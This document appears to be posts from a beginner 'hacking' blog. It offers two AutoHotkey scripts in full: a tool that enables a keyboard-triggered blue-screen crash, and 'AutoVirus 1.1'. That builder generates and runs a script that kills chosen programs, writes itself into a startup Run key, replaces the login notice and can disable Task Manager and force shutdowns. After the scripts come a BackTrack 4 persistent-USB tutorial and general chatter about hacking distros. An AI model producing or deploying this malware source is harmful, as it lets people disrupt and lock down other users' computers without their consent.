Hey check this out..


This is another of my attempt at making a cool softy using AHK... This will enable the crash option in Windows XP computers and you can see the BSOD(The Blue Screen Of Death)
after it is enabled.. You need to press Rt.Ctrl+ Scroll Lock(twice) though...

Have Fun Crashing!! --

However, it is still in development stages.. Feel free to modify it in any way you like.. But hey if yours is better, please contribute!!


--------------------------------------------------------------------
#Persistent
#NoTrayIcon
#SingleInstance force

Gui, Add, StatusBar,, Bar's starting text (omit to start off empty).
SB_SetText("Let the havoc begin!!")

Gui +LastFound ; Make the GUI window the last found window for use by the line below.
Menu, HelpMenu, Add, &About, HelpAbout
Menu, MyMenuBar, Add, &Help, :HelpMenu



Gui, Menu, MyMenuBar


Gui, Add, Text, x36 y20 w180 h30 , Windows Crasher By Sankalp Singha.

Gui, Add, Text, x66 y50 w130 h20 , What do you want to do??
Gui, Add, Button, x16 y90 w100 h30 , Activate Crashing
Gui, Add, Button, x156 y90 w100 h30 , Remove Crashing
Gui, Add, Button, x56 y130 w140 h40 , PRANK VIRUS
Gui, Add, Text, x126 y100 w30 h20 , OR
Gui, Add, Text, x36 y190 w130 h50 , To Crash windows`, press Rt.Ctrl+ScrollLock(2 times)
; Generated using SmartGUI Creator 4.0
Gui, Show, w277 h241,BSOD - Sankalp Singha
Return

GuiClose:
ExitApp


HelpAbout:
Gui, 2:+owner1 ; Make the main window (Gui #1) the owner of the "about box" (Gui #2).
Gui +Disabled ; Disable main window.
Gui, 2:Add, Text,, This program will activate the crashing feature in Windows NT boxes and if you press the Right Control + Scroll Lock Twice `n then the computer will show you the BSOD( BLUE SCREEN OF DEATH ).`n However in many NT boxes the computer will straightaway reboot. `n An initial reboot is necessary to activate this feature in the computer. `n For more info and the source code, please visit -- www.sankalpsingha.blogspot.com
Gui, 2:Add, Button, Default, OK
Gui, 2:Show
return

2ButtonOK: ; This section is used by the "about box" above.
2GuiClose:
2GuiEscape:
Gui, 1:-Disabled ; Re-enable the main window (must be done prior to the next step).
Gui Destroy ; Destroy the about box.
return


ButtonActivateCrashing:

MsgBox, 48, CREATING!!, Please wait`,`, we are creating the Crash Registry value..





regread,regdata1,REG_DWORD,HKEY_LOCAL_MACHINE,SYSTEM\CurrentControlSet\Services\i8042prt\Parameters ,CrashOnCtrlScroll
ifnotequal,regdata1,1
Regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,SYSTEM\CurrentControlSet\Services\i8042prt\Parameters ,CrashOnCtrlScroll,1

MsgBox, 64, CREATED!!, Ok.. The Registry value has been created!!..
MsgBox, 33, REBOOT NECESSARY!!, Should I reboot your computer??

IfMsgBox Ok
Shutdown,6

else

exitapp

ButtonRemoveCrashing:

MsgBox, 48, Removing Crasher.., Please wait while I remove the registry values...

regread,regdata1,REG_DWORD,HKEY_LOCAL_MACHINE,SYSTEM\CurrentControlSet\Services\i8042prt\Parameters ,CrashOnCtrlScroll
ifnotequal,regdata1,0
RegDelete,HKEY_LOCAL_MACHINE,SYSTEM\CurrentControlSet\Services\i8042prt\Parameters ,CrashOnCtrlScroll

MsgBox, 64, Removed!!, I have removed the crasher from your computer...

MsgBox, 33, REBOOT NECESSARY!!, Should I reboot your computer??

IfMsgBox Ok
Shutdown,6

else

exitapp

ButtonPrankVirus:

MsgBox, 49, Virus Starting.., Are you SURE??`nBE VERY CAREFUL...



MsgBox, 48, LOL!! Virus Started!!, Haha... Check your desktop man.... HAHAHA!! .... `;-)



-------------------------------------------------------------------------

Supercool Programming Language!! - AutoHotKey!!


I discovered about this cool programming language called AutoHotKey when I was just looking at some of the languages. As I got bored of C++ I thought of trying something else, and wonder of wonders.. I discovered some amazing things that this ahk language has.. It literally has everything in it that you can do in windows and I realized its potential as a possible hacking language. Whew man… it is so very easy to program in it. It has got such an extensive help menu that, you can literally learn the entire language within an few hours or so if you have an experience in some other language.
I made some supercool scripts in it.. The language basically works first as an interpreter, but then you can even convert your .ahk scripts to .EXE format using the tools provided with the software. It is a very small software package that needs to be installed to work the .ahk files but that’s about it. After converting them to .EXE you can run your program anywhere on any windows computer, maybe even in Linux using wine..(though I haven’t tried it yet)

So lets see the one auto virus program that I have written in it:-



#persistent
#singleinstance force
#notrayicon


Gui, Add, StatusBar,, Bar's starting text (omit to start off empty).
SB_SetText("Let the havoc begin!!")



Gui +LastFound ; Make the GUI window the last found window for use by the line below.





Menu, HelpMenu, Add, &About, HelpAbout
Menu, MyMenuBar, Add, &Help, :HelpMenu



Gui, Menu, MyMenuBar






Gui, Add, Picture, x y w265 h160 , %A_ScriptDir%\crossbones640.gif
Gui, Add, text, x16 y220 w260 h30 , ***** WELCOME TO THE WORLD OF CHAOS!!***** What do you seek my master??
Gui, Add, checkbox, x86 y250 w100 h20 vactivate, Delete Script??

Gui, Add, text, x306 y320 w70 h20 , Type to close:
Gui, Add, edit, x306 y340 w250 h20 vtype1, type1
Gui, Add, text, x306 y200 w50 h20 , ahk_class:
Gui, Add, edit, x306 y220 w250 h20 vclass1, class1
Gui, Add, text, x16 y260 w50 h20 , Message:
Gui, Add, edit, x16 y280 w240 h60 vmessage, message
Gui, Add, text, x16 y340 w80 h20 , Startup Caption:
Gui, Add, edit, x16 y360 w240 h20 vcaption, Title
Gui, Add, text, x16 y380 w70 h20 , Startup Text:
Gui, Add, edit, x16 y400 w240 h90 vstartup, Text

Gui, Add, checkbox, x316 y430 w110 h20 vcdlock, Lock CD DRIVE
Gui, Add, checkbox, x316 y450 w110 h20 vunlock, Unlock CD DRIVE
Gui, Add, checkbox, x316 y470 w120 h20 vdistask, Disable Taskmanager
Gui, Add, checkbox, x316 y490 w110 h20 vdisreg, Disable Registry
Gui, Add, checkbox, x446 y470 w120 h20 venatask, Enable Taskmanager
Gui, Add, checkbox, x446 y490 w110 h20 venareg, Enable Registry
Gui, Add, checkbox, x446 y430 w130 h20 vshut, FORCE SHUTDOWN!!
Gui, Add, checkbox, x446 y450 w110 h20 vshutr, FORCE REBOOT!!

Gui, Add, Button, x16 y510 w60 h20 Default, OK
Gui, Add, button, x86 y510 w70 h20 , Cancel
Gui, Add, button, x166 y510 w100 h20 , REMOVE VIRUS!

Gui, Add, text, x246 y540 w100 h20 , By -Sankalp Singha.
Gui, Add, edit, x16 y190 w240 h20 vsource, source
Gui, Add, text, x16 y170 w110 h20 , DESTINATION::
Gui, Add, text, x306 y40 w100 h20 , SOURCE SOUND:
Gui, Add, edit, x306 y60 w250 h21 vsound, Sound
Gui, Add, text, x306 y100 w100 h20 , SOURCE PICTURE:
Gui, Add, edit, x306 y120 w250 h21 vpicture, Picture
Gui, Add, edit, x306 y250 w250 h20 vclass2, class2
Gui, Add, edit, x306 y280 w250 h20 vclass3, class3
Gui, Add, edit, x306 y370 w250 h20 vtype2, type2
Gui, Add, edit, x306 y400 w250 h20 vtype3, type3
Gui, Add, text, x306 y150 w100 h20 , INFO MESSAGE:
Gui, Add, edit, x306 y170 w250 h21 vinfo, info
Gui, Show, x174 y28 h578 w588, AutoVirus 1.1 -Sankalp Singha
return




HelpAbout:
Gui, 2:+owner1 ; Make the main window (Gui #1) the owner of the "about box" (Gui #2).
Gui +Disabled ; Disable main window.
Gui, 2:Add, Text,, This program will program an autohot key script according to the specifications given. `nTo learn how to use this program checkout www.portalofhack.blogspot.com`n`n Program Created By Sankalp Singha. `n For any comments, suggestions or bug report please contact me at: `n portalofhack@gmail.com `n `n Adios!! `n Let the havoc begin!!! `n`n (Note: You have to install AutohotKey software first to use this..)
Gui, 2:Add, Button, Default, OK
Gui, 2:Show
return

2ButtonOK: ; This section is used by the "about box" above.
2GuiClose:
2GuiEscape:
Gui, 1:-Disabled ; Re-enable the main window (must be done prior to the next step).
Gui Destroy ; Destroy the about box.
return









GuiClose:
exitapp

ButtonOK:
Gui,submit

fileappend,
(

msgbox,16,Information!!, %info%,30

#singleinstance force
#persistent
#notrayicon


settimer,ban,2000
return

ban:
WinGetActiveTitle, ed
ifinstring,ed,%type1%
{
winclose %type1%
soundplay,%sound%
splashimage, %picture%, B fs18 cw800080, %message%
Sleep, 4000
SplashImage, Off

return
}
ifinstring,ed,%type2%
{
winclose %type2%
soundplay,%sound%
splashimage, %picture%, B fs18 cw800080, %message%
Sleep, 4000
SplashImage, Off

return
}
ifinstring,ed,%type3%
{
winclose %type3%
soundplay,%sound%
splashimage, %picture%, B fs18 cw800080, %message%
Sleep, 4000
SplashImage, Off

return
}

ifwinactive ahk_class %class1%
{

winkill ahk_class %class1%
soundplay,%sound%
splashimage, %picture%, B fs18 cw800080, %message%
Sleep, 4000
SplashImage, Off

return
}

ifwinactive ahk_class %class2%
{

winkill ahk_class %class2%
soundplay,%sound%
splashimage, %picture%, B fs18 cw800080, %message%
Sleep, 4000
SplashImage, Off

return
}


ifwinactive ahk_class %class3%
{

winkill ahk_class %class3%
soundplay,%sound%
splashimage, %picture%, B fs18 cw800080, %message%
Sleep, 4000
SplashImage, Off

return
}


regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon,LegalNoticeText
ifnotequal,regdata, %startup%
Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,LegalNoticeText, %startup%


regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon,LegalNoticeCaption
ifnotequal,regdata,%caption%
Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,LegalNoticeCaption, %caption%


regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon
ifnotequal,regdata,%source%
Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon,%source%
return

#q::
ExitApp




),%source%
run %source%

if %activate%
{
filesetattrib,-rsh,%source%
filedelete,%source%
}

if %cdlock%
{drive,lock,f:
msgbox,Drive Locked!!
}

if %unlock%
{
drive,unlock,f:
msgbox,Drive Unlocked!!
}

if %shut%
{ msgbox,16,SHUTTING DOWN THE SYSTEM!!
sleep,4000
shutdown,5
}

if %shutr%
{ msgbox,16,REBOOTING THE SYSTEM!!
sleep,4000
shutdown,6
}


if %distask%
{ regread,regdata1,REG_DWORD,HKEY_LOCAL_MACHINE,Software\Microsoft\Windows\CurrentVersion\Policies\System ,DisableTaskMgr
ifnotequal,regdata1,1
Regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,Software\Microsoft\Windows\CurrentVersion\Policies\System ,DisableTaskMgr,1
return

}
buttonCancel:
ExitApp


#q::
ExitApp



To run this program, simply install auto hot key and then copy this script in a notepad and then save it as virus.ahk and open the file…
Tada..!!

How do I install Persistent USB Backtrack 4 -- The Perfect Install??


However, I soon realized that Backtrack Live DVD iso. Contains outdated Metasploit framework and hence I was not able to use the facility of the framework to the fullest.. So I Googled and found out ways to make Backtrack as my Live USB rather than CD so that I could save the changes in it. However soon I again realized that though I could make a live usb, it would not store my information that I kept in it… And to make the information store, I had to make it persistent by following quite a few of stuff and later I found out with countless errors and trials the one and proper way of making a persistent USB drive… Actually there are a lot of tutorials to tell you how to do this, however I found all of them faulty when I tried to implement them… so finally I am writing my own tutorial of how to do it…

TOOLS Reguired..
1. A Live Backtrack DVD
2. One 4gb pendrive, ( you can have larger too .)
3. A computer that supports USB boot.
4. Patience….
First of all,
Type
dmesg | egrep hd.\|sd.
This will give you the information in which device is your USB located..
Possibly its /dev/sdc
Anyways, it may be different for yours..
So I’ll continue it as /dev/sdc :
We now need to delete the /dev/sdc1 partition and create 2 new partitions for the
/dev/sdc USB Drive:
root@bt:~# fdisk /dev/sdc
Command (m for help): d
Selected partition 1
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-2813, default 1):
Using default value 1
Last cylinder, +cylinders or +size{K,M,G} (1-2813, default 2813): +1024M
Command (m for help): t
Selected partition 1
Hex code (type L to list codes): b
Changed system type of partition 1 to b (W95 FAT32)
Command (m for help): a
Partition number (1-4): 1
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
Partition number (1-4): 2
First cylinder (1489-2813, default 1489):
Using default value 1489
Last cylinder, +cylinders or +size{K,M,G} (1489-2813, default 2813):
Using default value 2813
Command (m for help): w
The partition table has been altered
We now format the linux partition with mkfs.ext2, mount it and create “changes” folder:
root@bt:/# mkfs.ext2 /dev/sdc2
root@bt:/# mkdir -p /mnt/sdc2
root@bt:/# mount -t ext2 /dev/sdc2 /mnt/sdc2
root@bt:/# mkdir /mnt/sdc2/changes
On the first partition we need to copy BT4 and boot folders from the 1GB USB Drive to our 2GB USB Drive first partition /dev/sdc1:
Format the partition to FAT32
root@bt:/# mkdosfs -F 32 /dev/sdc1
root@bt:/# mkdir -p /mnt/sdc1
root@bt:/# mount -t vfat /dev/sdc1 /mnt/sdc1
root@bt:/# cp -Rf /mnt/sdb1/boot/ /mnt/sdc1/
root@bt:/# cp -Rf /mnt/sdb1/BT4/ /mnt/sdc1/
Now we have to make our 2GB USB Drive bootable and keeping the changes on our second partition:
chmod +Xx /mnt/sdc1/boot/syslinux/lilo
chmod +Xx /mnt/sdc1/boot/syslinux/syslinux
nano /mnt/sdc1/boot/syslinux/syslinux.cfg
Append the changes to reflect the Linux EXT2 partition we created before:
LABEL BT4
MENU LABEL BT4 Beta – Console
KERNEL /boot/vmlinuz
APPEND vga=0×317 initrd=/boot/initrd.gz ramdisk_size=6666 root=/dev/ram0 rw quiet changes=/dev/sdb2
As you can see we had put /dev/sdb2 partition because on the next boot we will remove the 1GB USB drive that it currently has the /dev/sdb partition and our new bootable USB Drive will use /dev/sdb.
The last step is to write our MBR Boot record to make our USB Drive bootable:
As we notice running bootinst.sh on backtrack 4 we get an error as follow
root@bt:/# sh /mnt/sdc1/boot/bootinst.sh
/mnt/sdc1/boot/bootinst.sh: 27: Bad substitution
To fix this we need to force symbolic link the /bin/bash with /bin/sh and reboot the system:
root@bt:/# ln -sf /bin/bash /bin/sh
root@bt:/# sh /mnt/sdc1/boot/bootinst.sh
root@bt:/# reboot

Which Distro Do I use??




So first things first.. If for the purposes of hacking we have to use linux, then which linux distro do we use??
To start from the very beginning, there are tons of distros out there for the purposes of hacking and penetration testing.. But I suppose Backtrack is considered the best out of them.. So I decided to go for Backtrack 4.
Backtrack is a very Interesting Distro, consisting of more than 300 tools available for pentesting and stuff..

Note : Pentesting - Penetration Testing, i.e - Hacking...

After some googling, I can give you the following Info --

It Has lots of great stuff!
Like most Linux distros - and definitely all forensics/security-oriented tools, BackTrack works primarily as a live CD, with good hardware detection and low memory footprint, intended to make it usable even on older machines. It is also possible to install BackTrack, should one desire.

And let me tell you.. Backtrack really has got tons of tools at your disposal...
I believe, if I do not master them, they will do more harm than good..

BACKTRACK RULEZ!!

What exactly are the tools used by a hacker??


Well, when I first saw all those or heard about all those so called Hacker Tools, I thought that they must be some kind of SUPER SECRET, SUPER MILITARY Stuff!!

I had a clue that mostly hackers and the elite use Linux as the prime portal for all their hacking and stuff. However i was afraid of switching from the "seemingly-nice" Windows to Linux.

In my place out here, there was hardly any information about the operating system called linux.. Not only that but hardly any one had heard about it..

I read in the net someday that linux can be used to remove all viruses from pendrives, and well that is how i started out in linux... On my desperate attempt to remove viruses from pendrives.. LOL..

LINUX!! -- I eventually figured out was THE tool that was required and for some cool elite stuff and felt like a Dork when I realized that I had spent useless amount of money on stupid Keyloggers and some full-of-virus CD's which promised to have some HACKING program in them...!!

Eventually I learnt about Linux after using some Live Distros out there.. And then researched the net to find about the Linux commands and stuff... As I was already very good in DOS commands, I did not have much problem migrating from DOS shell to a Linux Box and realized, WOW.. What power a Linux Shell had.... Amazing...
Thank you Linus Torvaldis( He is the creator of Linux )

So Basically... For all you newbie hacker out there-- Use LINUX and you ll soon see what I am getting at...

WELCOME TO THE WORLD OF HACKING!!





This blog was made when i realized that there was not one proper website that revealed all the information of how to auctually start from scratch..

This is my attempt , come join me as in my journey to learn the very art of Electronic-Fu.. The Art Of Knowledge -- Hacking!!

I will note down all my experience as I too start from scratch.. All the problems that I faced and all that I did.. Maybe, you can also help or learn something from my attempts.

Join my journey - from Kiddie to Elite